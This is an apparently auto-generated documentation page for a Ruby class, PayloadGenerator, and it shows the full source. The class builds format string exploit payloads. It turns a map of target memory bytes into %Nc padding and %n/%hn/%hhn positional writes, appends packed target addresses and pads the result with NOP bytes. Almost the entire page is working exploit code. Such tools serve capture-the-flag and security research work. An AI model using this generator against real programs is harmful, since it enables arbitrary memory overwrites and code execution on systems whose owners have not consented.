Class: PayloadGenerator

Inherits:
Object
  • Object
show all
Defined in:
lib/fsa.rb

Instance Method Summary collapse

Constructor Details

#initialize(mem, buffer_size) ⇒ PayloadGenerator

Returns a new instance of PayloadGenerator.



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# File 'lib/fsa.rb', line 88

def initialize(mem, buffer_size)

  @mem = mem
  @buffer_size = buffer_size
  @tuples = []
  @addrs  = mem.keys

  addr_index = 0
  while addr_index < @addrs.size
    
    addr = @addrs[addr_index]
    
    dword = 0
    4.times do |i|
      unless @mem.key?(addr + i)
        dword = -1
        break
      end
      dword |= @mem[addr + i] << (i * 8)
    end
    if 0 <= dword && dword < 65536
      @tuples << [addr, 4, dword]
    
      if @addrs[addr_index + 2] == addr + 3
        addr_index += 3
      elsif @addrs[addr_index + 3] == addr + 3
        addr_index += 4
      else
        raise "Unknown error. Missing bytes"
      end
    end
    
    word = 0
    2.times do |i|
      unless @mem.key?(addr + i)
        word = -1
        break
      end
      word |= @mem[addr + i] << (i * 8)
    end

    
    if 0 <= word && word < 65536
      @tuples << [addr, 2, word]
      if @addrs[addr_index] == addr + 1
        addr_index += 1
      elsif @addrs[addr_index + 1] == addr + 1
        addr_index += 2
      else
        raise "Unknown error. Missing bytes"
      end
      next
    else
      if (addr_index > 0) && (@addrs[addr_index - 1] > @addrs[addr_index] - 1)
        addr_index -= 1
      else
        @tuples << [addr, 1, @mem[addr]]
        addr_index += 1
      end
    end
  end
  @tuples.sort_by!(&:last).reverse
end

Instance Method Details

#payload(arg_index, padding = 0, start_len = 0) ⇒ Object 



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# File 'lib/fsa.rb', line 152

def payload(arg_index, padding = 0, start_len = 0)
  
  prev_len = -1
  prev_pay = ""
  index = arg_index * 10000
  @payload = ""
  
  loop do
    
    @payload = ""
    
    addrs   = ""
    printed = start_len
    
    @tuples.each do |addr, size, value|
      
      print_len = value - printed
      
      if print_len > 2
        @payload += "%" + print_len.to_s + "c"
      elsif print_len >= 0
        @payload += "A" * print_len
      else
        puts "Can\'t write a value %08x (too small)." % value
        next
      end
      
      modi = {
       1 => "hh",
       2 => "h",
       4 =>  ""
      }[size]
      
      @payload += "%" + index.to_s + "$" + modi + "n"
      addrs += [addr].pack("L")
      printed += print_len
      index += 1
    end
    
    @payload += "A" * ((padding - @payload.length) % 4)
    
    if @payload.length == prev_len
      @payload += addrs
      break
    end
    
    prev_len = @payload.length
    prev_pay = @payload
    index    = arg_index + @payload.length / 4
    
  end
  
  puts "Payload contains NULL bytes." if @payload.include?("\x00")
  @payload.ljust(@buffer_size, "\x90")
end